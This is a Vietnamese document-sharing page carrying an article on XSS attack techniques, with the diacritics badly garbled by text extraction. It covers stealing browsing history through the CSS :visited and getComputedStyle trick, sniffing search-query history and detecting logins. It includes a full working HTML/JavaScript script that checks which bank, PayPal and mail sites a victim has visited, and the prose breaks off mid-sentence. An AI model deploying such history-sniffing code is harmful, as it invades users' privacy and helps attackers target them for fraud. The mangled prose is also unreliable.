DANH MỤC TÀI LIỆU
Các phương pháp tấn công XSS
Các ph ng pháp t n công XSSươ ấ
T n công XSS (cross-site scripting) th ng đ c coi là lành tính, ho c ườ ượ
ng i ta th ng ít nghĩ đ n nh ng hi m h a ti m tàng c a chúng. Ví d , ườ ườ ế ọ ề
ph n l n m i ng i cho r ng các ch ng trình mã đ c Javascript có th ăn ớ ọ ườ ươ
c p cookies ho c chuy n h ng m t ng i t i m t trang Web khác. Tuy ướ ườ ớ
nhiên, nh ng t n công đ n gi n đó, m c dù r t h u ích, nh ng chúng ch ơ ấ ữ ư
làm trên ph n giao di n nh m t ng i có th làm m t khi h đ c phép ư ườ ọ ượ
ch y Jvascript trên trình duy t. Trong ph n này, tôi s gi i thi u nh ng ẽ ớ
hi m h a l n h n t nh ng l i đ n gi n trên trang Web mà nh ng k t n ể ọ ơ ữ ỗ ơ ả
công có th l i d ng, t ăn c p l ch s trình duy t, t i nh ng đi u r t ể ợ
kh ng khi p và mã đ c Javascript có th làm đ c. ế ể ượ
Ăn c p l ch s duy t Webắ ị
Khi m t hacker th c hi n các cu c t n công, nh ng hi u bi t c a v ộ ấ ế ủ
ng i dùng, ví d nh thói quen c a h s giúp ích r t nhi u. Thay vì tìm ườ ư ọ ẽ
ki m m t cách r ng rãi, k t n công có th nh m đ n nh ng khu v c có ế ẻ ấ ế
nh ng l h ng và khi đó thành công s d dàng h n. S d ng m t vài th ỗ ổ ẽ ễ ơ ử ụ
thu t Javascript/CSS, r t đ n gi n đ khám phá nh ng trang Web nào n n ấ ơ
nh n đã t ng ghé thăm, quy t đ nh li u h có đăng nh p và nh ng d li u ế ữ ệ
t l ch s tìm ki m c a h . V i nh ng thông tin này, m t k t n công có ừ ị ế ẻ ấ
th th c hi n vi c chuy n ti n qua tài kho n, phát t n sâu Web, ho c g i ể ự
th spam trên trang Web n i mà n n nhân đã t ng đăng nh p g n đây.ư ơ ậ ầ
JavaScript/CSS API getComputedStyle
T n công l ch s b ng Javascript/CSS là m t ph ng pháp brute-force có ử ằ ươ
hi u q a cao đ tìm ra n i n n nhân đã t ng ghé thăm. Trung bình, m t ơ ạ
ng i dùng Web truy c p hàng ch trang Web trong m t ngày. Đi u đ u ườ ề ầ
tiên mà m t k t n công s làm là thu th p m t danh sách các trang Web mà ẻ ấ
ng i dùng truy c p th ng xuyên. Danh sách các trang Web ph bi n trên ườ ườ ổ ế
th gi i ví d nh b ng x p h ng Alexa là m t ngu n tài nguyên r t quý ế ư ả ế
giá giúp quá trình x lý d dàng h n. Tìm ki m m t vài trang Web online ử ễ ơ ế
banking hay các c ng thanh toán ph bi n, k t n công có m t danh sách ế ẻ ấ
hoàn thi n đ t p trung vào. ể ậ
K thu t này t n d ng DOM (Document Object Model) cách s d ng các ử ụ
màu s c khau nhau đ hi n th các trang đã t ng truy c p. B ng cách t o ra ể ể
các liên k t đ ng, k t n công có th ki m tra thu c ế ộ ể ể
tính getComputedStyle trong Javascript đ trích xu t thông tin l ch s duy t ị ử
Web. Đây là m t x lý đ n gi n. N u liên k t ch có 1 màu, ví d màu ộ ử ơ ế ế
xanh, n n nhân ch a t ng truy c p trang Web. N u nó có màu tím, nó đã ư ừ ế
t ng đ c truy c p.ừ ượ
Code cho Firefox (có th ch y đ c b i các trình duy t khác)ể ạ ượ ở
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<html>
<body>
<H3>Visited</H3>
<ul id="visited"></ul>
<H3>Not Visited</H3>
<ul id="notvisited"></ul>
<script>
/* A short list of websites to loop through checking to see if the victim
has been there. Without noticeable performance overhead, testing couple of a
couple thousand URL's is possible within a few seconds. */
var websites = [
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
"http://ha.ckers.org",
"http://jeremiahgrossman.blogspot.com/",
"http://mail.google.com/",
"http://mail.yahoo.com/",
"http://www.e-gold.com/",
"http://www.amazon.com/",
"http://www.bankofamerica.com/",
"http://www.whitehatsec.com/",
"http://www.bofa.com/",
"http://www.citibank.com/",
"http://www.paypal.com/",
];
/* Loop through each URL */
for (var i = 0; i < websites.length; i++) {
/* create the new anchor tag with the appropriate URL information */
var link = document.createElement("a");
link.id = "id" + i;
link.href = websites[i];
link.innerHTML = websites[i];
/* create a custom style tag for the specific link. Set the CSS visited
selector to a known value, in this case red */
36
37
38
39
40
document.write('<style>');
document.write('#id' + i + ":visited {color: #FF0000;}");
document.write('</style>');
/* quickly add and remove the link from the DOM with enough time to
save the visible computed color. */
document.body.appendChild(link);
var color =
document.defaultView.getComputedStyle(link,null).getPropertyValue("color")
;
document.body.removeChild(link);
/* check to see if the link has been visited if the computed color is red
*/
if (color == "rgb(255, 0, 0)") { // visited
/* add the link to the visited list */
var item = document.createElement('li');
item.appendChild(link);
document.getElementById('visited').appendChild(item);
} else { // not visited
/* add the link to the not visited list */
var item = document.createElement('li');
item.appendChild(link);
document.getElementById('notvisited').appendChild(item);
} // end visited color check if
} // end URL loop
</script>
</body>
</html>
K t q a c a đo n code trên đ c minh h a trong hình d i đâyế ủ ượ ướ
Ăn c p truy v n máy tìm ki mắ ấ ế
SPI Dynamics ch ng t r ng nh ng k t n công có th xây d ng hack ẻ ấ
Javascirpt/CSS đ phát hi n ra các tìm ki m khác nhau mà n n nhân đã ể ệ ế
t ng s d ng. Nó có th giúp ích n u bi t r ng n n nhân đã t ng tìm ki m ử ụ ế ế ế
“MySpace” ho c t ng t th .ặ ươ ế
T n công này làm vi c b ng cách t o ra các t khóa tìm ki m đ c g i ý, ệ ằ ế ượ ợ
các URL đ c t o ra b i các máy tìm ki m ph bi n. Ví d n u b n tìm ượ ế ế ụ ế
ki m “XSS Exploit” thanh đ a ch c a trình duy t s hi n th gi ng nh ế ỉ ủ ư
hình d i.ướ
URL c a truy v n tìm ki m r t đ n gi n đ có th t o ra hàng nghìn lo i. ế ơ ể ạ
K t h p đi u đó v i hack l ch s Javascript/CSS ph n trên, l ch s truy ế ị ử ị ử
v n tìm ki m s đ c m ra. Th c ra, k t n công có th t o ra m t danh ế ư ẻ ấ ể ạ
sách r t dài các liên k t trên DOM, có th nhìn th y ho c n đi, và ki m tra ế ặ ẩ
màu c a liên k t gi ng nh ph ng pháp trên. N u liên k t màu xanh, n n ế ư ươ ế ế
nhân đã t ng tìm ki m, n u nó màu tím, nó ch a t ng đ c tìm ki m tr c ế ế ư ừ ượ ế ướ
đây. K t qu c a ph ng pháp này có th r t r i r c, nh ng nó không t n ế ươ ể ấ ư
c a k t n công b t c đi u gì, vì th đây là m t th t c có giá tr . SPI ẻ ấ ế ủ ụ
Dynamics cài đ t m t ví d online đ demo k thu t này.ặ ộ
Check l i đăng nh p trên console Javascriptỗ ậ
M i ng i th ng xuyên và liên t c đăng nh p vào các trang Web ph ườ ườ
bi n. Hi u bi t v các trang Web này có th vô cùng h u ích đ nâng cao ế ế ề
hi u qu c a các cu c t n công CSRF ho c XSS cũng nh các hành đ ng ả ủ ư
thu th p thông tin trái phép khác. K thu t s d ng m t ph ng pháp ử ụ ươ
t ng t ph ng pháp port scan b ng Javascript b ng cách n i các thông ươ ự ươ
báo l i t console Javascript. R t nhi u trang Web yêu c u đăng nh p tr ỗ ừ
v k t qu HTML r t khác nhau v i cùng URL khi b n đăng nh p hay ề ế
không. Ví d , trang Web qu n lý tài kho n ch có th truy c p n u b n ậ ế ạ
thông tin tài liệu
Tấn công XSS (cross-site scripting) thường được coi là lành tính, hoặc người ta thường ít nghĩ đến những hiểm họa tiềm tàng của chúng. Trong phần này, tôi sẽ giới thiệu những hiểm họa lớn hơn từ những lỗi đơn giản trên trang Web mà những kẻ tấn công có thể lợi dụng, từ ăn cắp lịch sử trình duyệt, tới những điều rất khủng khiếp và mã độc Javascript có thể làm được.
Mở rộng để xem thêm
từ khóa liên quan
xem nhiều trong tuần
yêu cầu tài liệu
Giúp bạn tìm tài liệu chưa có

LÝ THUYẾT TOÁN


×